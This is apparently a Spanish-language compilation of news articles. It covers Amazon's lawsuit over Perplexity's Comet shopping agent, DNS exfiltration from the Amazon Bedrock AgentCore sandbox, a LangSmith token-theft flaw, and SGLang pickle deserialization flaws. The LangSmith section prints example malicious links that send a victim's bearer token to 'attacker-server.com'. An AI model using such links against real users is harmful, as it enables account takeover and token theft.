Un tribunal federal de apelaciones suspendió temporalmente una orden de un juez de California que habría impedido a Perplexity AI utilizar un agente de compras impulsado por inteligencia artificial en Amazon, mientras el caso avanza en una disputa sobre quién controla la actividad automatizada dentro de las cuentas de los clientes.

El Tribunal de Apelaciones del Noveno Circuito de EE. UU. concedió el lunes a Perplexity una suspensión administrativa, suspendiendo la orden judicial mientras el tribunal considera la solicitud de la compañía de una pausa más prolongada durante su apelación. La orden del tribunal inferior debía entrar en vigor en unos días.

Amazon demandó a Perplexity en noviembre, alegando que el navegador Comet de la startup y el agente de inteligencia artificial asociado accedieron a partes protegidas con contraseña de las cuentas de los clientes de Amazon sin la autorización de Amazon, incluso cuando los usuarios permitieron que la herramienta actuara en su nombre. Amazon también acusó a Perplexity de disfrazar la actividad automatizada como navegación humana y de ignorar las repetidas demandas para que se detuviera.

La jueza de distrito estadounidense Maxine Chesney en San Francisco aceptó la solicitud de Amazon de una orden judicial preliminar el 9 de marzo. Escribió que era probable que Amazon tuviera éxito en las demandas bajo la Ley federal de abuso y fraude informático y la Ley integral de fraude y acceso a datos informáticos de California. Chesney dijo que Amazon había proporcionado pruebas sólidas de que Perplexity accedió a las cuentas «con el permiso del usuario de Amazon pero sin la autorización de Amazon».

La orden de Chesney requería que Perplexity prohibiera a Comet acceder o intentar acceder a las cuentas de usuario de Amazon y eliminar las cuentas de Amazon y los datos de los clientes que recopilaba. Chesney también citó la evidencia de Amazon sobre los costos de respuesta, incluido el tiempo de los empleados dedicado a desarrollar herramientas para bloquear Comet y detectar accesos futuros, y escribió que la compañía incurrió en una cantidad superior al umbral utilizado a menudo para respaldar las reclamaciones de fraude informático.

Perplexity argumenta que la actividad es legal porque los usuarios autorizaron al agente de IA a realizar compras y navegar por el sitio en su nombre. Al buscar una pausa, la compañía dijo que bloquear su producto en uno de los sitios de compras más grandes de Internet causaría un «daño devastador» a la empresa y a los consumidores.

Un portavoz de Perplexity dijo a CyberScoop el martes que la compañía continuaría luchando por «el derecho de las personas a elegir su propia IA». Amazon se negó a hacer comentarios.

El caso subraya los problemas con las herramientas de inteligencia artificial «agentes» que pasan de responder preguntas a iniciar transacciones. Se está pidiendo a los tribunales que comparen el permiso del usuario con la autorización de la plataforma y que decidan si los representantes automatizados deben seguir las reglas de la plataforma diseñadas para limitar los bots no divulgados en áreas sensibles de la cuenta.

Investigadores de ciberseguridad han revelado detalles de un nuevo método para extraer datos confidenciales de entornos de ejecución de código de inteligencia artificial (IA) mediante consultas del sistema de nombres de dominio (DNS).

En un informe publicado el lunes, BeyondTrust reveló que el modo sandbox de Amazon Bedrock AgentCore Code Interpreter permite consultas DNS salientes que un atacante puede aprovechar para habilitar shells interactivos y evitar el aislamiento de la red. La emisión, que no tiene un identificador CVE, tiene una puntuación CVSS de 7,5 sobre 10,0.

Intérprete de código de Amazon Bedrock AgentCore es un servicio totalmente administrado que permite a los agentes de IA ejecutar código de forma segura en entornos aislados tipo sandboxde modo que las cargas de trabajo agentes no puedan acceder a sistemas externos. Fue lanzado por Amazon en agosto de 2025.

El hecho de que el servicio permita consultas de DNS a pesar de la configuración de «sin acceso a la red» puede permitir que «los actores de amenazas establezcan canales de comando y control y exfiltración de datos a través de DNS en ciertos escenarios, evitando los controles de aislamiento de red esperados», dijo Kinnaird McQuade, arquitecto jefe de seguridad de BeyondTrust.

En un escenario de ataque experimental, un actor de amenazas puede abusar de este comportamiento para configurar un canal de comunicación bidireccional mediante consultas y respuestas de DNS, obtener un shell inverso interactivo, filtrar información confidencial a través de consultas de DNS si su función de IAM tiene permisos para acceder a recursos de AWS, como depósitos S3 que almacenan esos datos, y ejecutar comandos.

Es más, se puede abusar del mecanismo de comunicación DNS para entregar cargas útiles adicionales que se envían al intérprete de código, lo que hace que sondee el servidor de comando y control (C2) de DNS en busca de comandos almacenados en registros DNS A, los ejecute y devuelva los resultados a través de consultas de subdominio DNS.

Vale la pena señalar que Code Interpreter requiere una función de IAM para acceder a los recursos de AWS. Sin embargo, un simple descuido puede provocar que se asigne una función con privilegios excesivos al servicio, otorgándole amplios permisos para acceder a datos confidenciales.

«Esta investigación demuestra cómo la resolución DNS puede socavar las garantías de aislamiento de la red de los intérpretes de código aislados», dijo BeyondTrust. «Al utilizar este método, los atacantes podrían haber extraído datos confidenciales de los recursos de AWS accesibles a través de la función IAM del intérprete de código, lo que podría causar tiempo de inactividad, violaciones de datos de información confidencial del cliente o infraestructura eliminada».

Tras la divulgación responsable en septiembre de 2025, Amazon determinó que se trataba de una funcionalidad prevista y no de un defecto, e instó a los clientes a utilizar modo VPC en lugar del modo sandbox para un aislamiento completo de la red. El gigante tecnológico también recomienda el uso de un cortafuegos DNS para filtrar el tráfico DNS saliente.

«Para proteger las cargas de trabajo sensibles, los administradores deben inventariar todas las instancias activas de AgentCore Code Interpreter y migrar inmediatamente aquellas que manejan datos críticos del modo Sandbox al modo VPC», dijo Jason Soroko, miembro senior de Sectigo.

«Operar dentro de una VPC proporciona la infraestructura necesaria para un aislamiento sólido de la red, lo que permite a los equipos implementar grupos de seguridad estrictos, ACL de red y firewalls DNS Route53 Resolver para monitorear y bloquear la resolución DNS no autorizada. Finalmente, los equipos de seguridad deben auditar rigurosamente las funciones de IAM adjuntas a estos intérpretes, aplicando estrictamente el principio de privilegio mínimo para restringir el radio de explosión de cualquier posible compromiso».

LangSmith es susceptible a un error de adquisición de cuentas

La divulgación se produce cuando Miggo Security reveló una falla de seguridad de alta gravedad en LangSmith (CVE-2026-25750puntuación CVSS: 8,5) que exponía a los usuarios a un posible robo de tokens y apropiación de cuentas. El problema, que afecta tanto a las implementaciones autohospedadas como a las implementaciones en la nube, se solucionó en la versión 0.12.71 de LangSmith, lanzada en diciembre de 2025.

La deficiencia se ha caracterizado como un caso de inyección de parámetros de URL derivada de una falta de validación en el parámetro baseUrl, lo que permite a un atacante robar el token de portador, la ID de usuario y la ID del espacio de trabajo de un usuario que ha iniciado sesión y transmitidos a un servidor bajo su control mediante técnicas de ingeniería social, como engañar a la víctima para que haga clic en un enlace especialmente diseñado como el siguiente:

• Nube – smith.langchain[.]es/studio/?baseUrl=https://attacker-server.com
• Autohospedado – /studio/?baseUrl=https://attacker-server.com

La explotación exitosa de la vulnerabilidad podría permitir a un atacante obtener acceso no autorizado al historial de seguimiento de la IA, así como exponer consultas SQL internas, registros de clientes de CRM o código fuente propietario mediante la revisión de llamadas a herramientas.

«Un usuario de LangSmith que haya iniciado sesión podría verse comprometido simplemente accediendo a un sitio controlado por un atacante o haciendo clic en un enlace malicioso», afirman los investigadores de Miggo, Liad Eliyahu y Eliana Vuijsje. dicho.

«Esta vulnerabilidad es un recordatorio de que las plataformas de observabilidad de IA son ahora una infraestructura crítica. Como estas herramientas priorizan la flexibilidad de los desarrolladores, a menudo pasan por alto sin darse cuenta las barreras de seguridad. Este riesgo se agrava porque, al igual que el software ‘tradicional’, los agentes de IA tienen acceso profundo a fuentes de datos internas y servicios de terceros».

Defectos de deserialización de pepinillos inseguros en SGLang

También se han señalado vulnerabilidades de seguridad en SGLang, un popular marco de código abierto para servir modelos de lenguaje grandes y modelos de IA multimodal, que, si se explotan con éxito, podrían desencadenar una deserialización insegura de pickle, lo que podría resultar en la ejecución remota de código.

Las vulnerabilidades, descubiertas por el investigador de seguridad de Orca, Igor Stepansky, siguen sin parchearse al momento de escribir este artículo. Una breve descripción de las fallas es la siguiente:

• CVE-2026-3059 (Puntuación CVSS: 9,8): una vulnerabilidad de ejecución remota de código no autenticado a través del broker ZeroMQ (también conocido como ZMQ), que deserializa datos que no son de confianza utilizando pickle.loads() sin autenticación. Afecta al módulo de generación multimodal de SGLang.
• CVE-2026-3060 (Puntuación CVSS: 9,8): una vulnerabilidad de ejecución remota de código no autenticado a través del módulo de desagregación, que deserializa datos que no son de confianza utilizando pickle.loads() sin autenticación. Afecta al sistema de desagregación paralela del codificador SGLang.
• CVE-2026-3989 (Puntuación CVSS: 7,8): el uso de una función pickle.load() insegura sin validación y deserialización adecuada en «replay_request_dump.py» de SGLang, que puede explotarse proporcionando un archivo pickle malicioso.

«Los dos primeros permiten la ejecución remota de código no autenticado contra cualquier implementación de SGLang que exponga sus características de generación o desagregación multimodal a la red», Stepansky dicho. «El tercero implica una deserialización insegura en una utilidad de reproducción de volcado de memoria».

En un aviso coordinado, el Centro de Coordinación CERT (CERT/CC) dijo que SGLang es vulnerable a CVE-2026-3059 cuando el sistema de generación multimodal está habilitado, y a CVE-2026-3060 cuando el sistema de desagregación paralela del codificador está habilitado.

«Si se cumple cualquiera de las condiciones y un atacante conoce el puerto TCP en el que el corredor ZMQ está escuchando y puede enviar solicitudes al servidor, puede explotar la vulnerabilidad enviando un archivo pickle malicioso al corredor, que luego lo deserializará», CERT/CC dicho.

Se recomienda a los usuarios de SGLang restringir el acceso a las interfaces del servicio y asegurarse de que no estén expuestos a redes que no sean de confianza. También se recomienda implementar controles de acceso y segmentación de red adecuados para evitar la interacción no autorizada con los puntos finales de ZeroMQ.

Si bien no hay evidencia de que estas vulnerabilidades hayan sido explotadas en la naturaleza, es crucial monitorear conexiones TCP entrantes inesperadas al puerto del corredor ZeroMQ, procesos secundarios inesperados generados por el proceso SGLang Python, creación de archivos en ubicaciones inusuales por el proceso SGLang y conexiones salientes del proceso SGLang a destinos inesperados.

Un juez federal ha bloqueado a Perplexity, creadores del navegador Comet AI, para que no accedan a las cuentas de los usuarios de Amazon y realicen compras en su nombre.

En un 9 de marzo ordenla jueza Maxine Chesney del Tribunal del Distrito Norte de California dijo que la orden temporal refleja la probabilidad de que Amazon “tendrá éxito en cuanto al fondo” de su reclamo de que los agentes de inteligencia artificial de Perplexity violan la Ley de Abuso y Fraude Informático y la Ley Integral de Fraude y Acceso a Datos Informáticos.

El tribunal sostuvo que Amazon “ha proporcionado pruebas sólidas de que Perplexity, a través de su navegador Comet, accede con el permiso del usuario de Amazon pero sin la autorización de Amazon, a la cuenta protegida por contraseña del usuario”.

Según el fallo, Perplexity debe prohibir a Comet acceder, intentar acceder, ayudar, instruir o proporcionar los medios para que otros accedan a las cuentas de usuario de Amazon. Perplexity también debe eliminar todas las cuentas de Amazon y los datos de clientes que recopiló en el camino.

Perplexity dijo al tribunal que las compras eran legítimas y legales porque sus usuarios habían autorizado a su agente de IA a realizar las compras en su nombre. Pero Amazon les ha negado explícitamente ese permiso, diciendo que los agentes cometen errores, interfieren con el propio algoritmo de Amazon y colocan a sus usuarios en un riesgo elevado de ciberseguridad.

Además, Chesney escribió que Amazon ha incurrido en “significativamente más” de los $5,000 necesarios para calificar como fraude informático, incluido el costo del tiempo invertido por los empleados de Amazon en desarrollar nuevas herramientas web para bloquear el acceso de Comet a cuentas privadas de clientes y detectar futuros accesos no autorizados por parte del navegador.

Según Amazonhan pedido a los funcionarios de Perplexity en cinco ocasiones distintas que dejen de acceder de forma encubierta a la tienda de Amazon con sus agentes. En una carta de cese y desistimiento enviada a Perplexity el 31 de octubre de 2025, el abogado Moez Kaba del bufete de abogados Hueston Hennigan escribió a Perplexity, alegando que las compras automatizadas degradan la experiencia de compra en línea de los clientes de Amazon.

Amazon exige que los agentes de IA se identifiquen digitalmente cuando utilizan la plataforma de comercio electrónico. Pero alegaron que los ejecutivos de Perplexity “se negaron a operar de manera transparente y, en cambio, tomaron medidas afirmativas para ocultar sus actividades de agente en la tienda de Amazon”, incluida la configuración de su software para que se haga pasar encubiertamente por tráfico de personas.

«Dicha transparencia es fundamental porque protege el derecho de un proveedor de servicios a monitorear a los agentes de IA y restringir conductas que degradan la experiencia de compra del cliente, erosionan la confianza del cliente y crean riesgos de seguridad para los datos privados de nuestros clientes», escribió Kaba.

Además, dichos agentes podrían representar un riesgo adicional para Amazon a través de vulnerabilidades de ciberseguridad explotadas por los ciberdelincuentes para secuestrar navegadores de inteligencia artificial como Comet.

La falta de respuesta de los ejecutivos de Perplexity a súplicas anteriores de Amazon puede haber influido en la orden judicial, y Chesney señaló que era probable que Amazon sufriera un daño irreparable sin la intervención judicial porque «Perplexity ha dejado claro que, en ausencia de la reparación solicitada, continuará incurriendo en la conducta cuestionada antes mencionada».

El caso podría tener implicaciones más amplias sobre la forma en que se diseñan las herramientas comerciales de agentes de IA y hasta qué punto pueden actuar legalmente en nombre de una persona. En particular, mientras Amazon se opone a las compras dirigidas por IA de Comet, Perplexity afirma que sus usuarios les han dado permiso para realizar compras en su nombre.

Perplexity argumentó que una orden judicial que detuviera las actividades de su IA iría en contra del interés público, privándolos de opciones e innovación como consumidor. Chesney concluyó lo contrario, respaldando el argumento de Amazon de que el público tiene un mayor interés en proteger sus computadoras del acceso no autorizado.

Perplexity no respondió a una solicitud de comentarios sobre el fallo al cierre de esta edición.

Puede leer la orden judicial a continuación.